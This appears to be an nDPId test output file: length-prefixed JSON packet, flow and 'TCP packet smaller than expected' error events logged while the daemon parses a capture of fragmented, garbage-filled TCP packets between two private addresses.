-00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701288} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701296} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701307} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701319} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701333} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701345} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701357} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701369} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701381} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701392} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701403} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701415} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701429} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701442} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701454} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701466} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701479} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701491} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701503} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701515} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701527} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701542} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701555} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701567} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701578} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701592} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024701604} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244024701616} -00344{"packet_event_id":1,"packet_event_name":"packet","packet_id":313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkVUUiVZXlUm"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244025001741,"flow_src_last_pkt_time":1534244025001741,"flow_dst_last_pkt_time":1534244025001741,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244025001741,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18730,"dst_port":20304,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1534244025001741,"flow_dst_last_pkt_time":1534244025001741,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkwp4QAA"} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001770} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001783} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001794} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001805} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001816} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001827} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001839} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001850} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001861} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001872} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001883} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001894} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001905} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025001916} 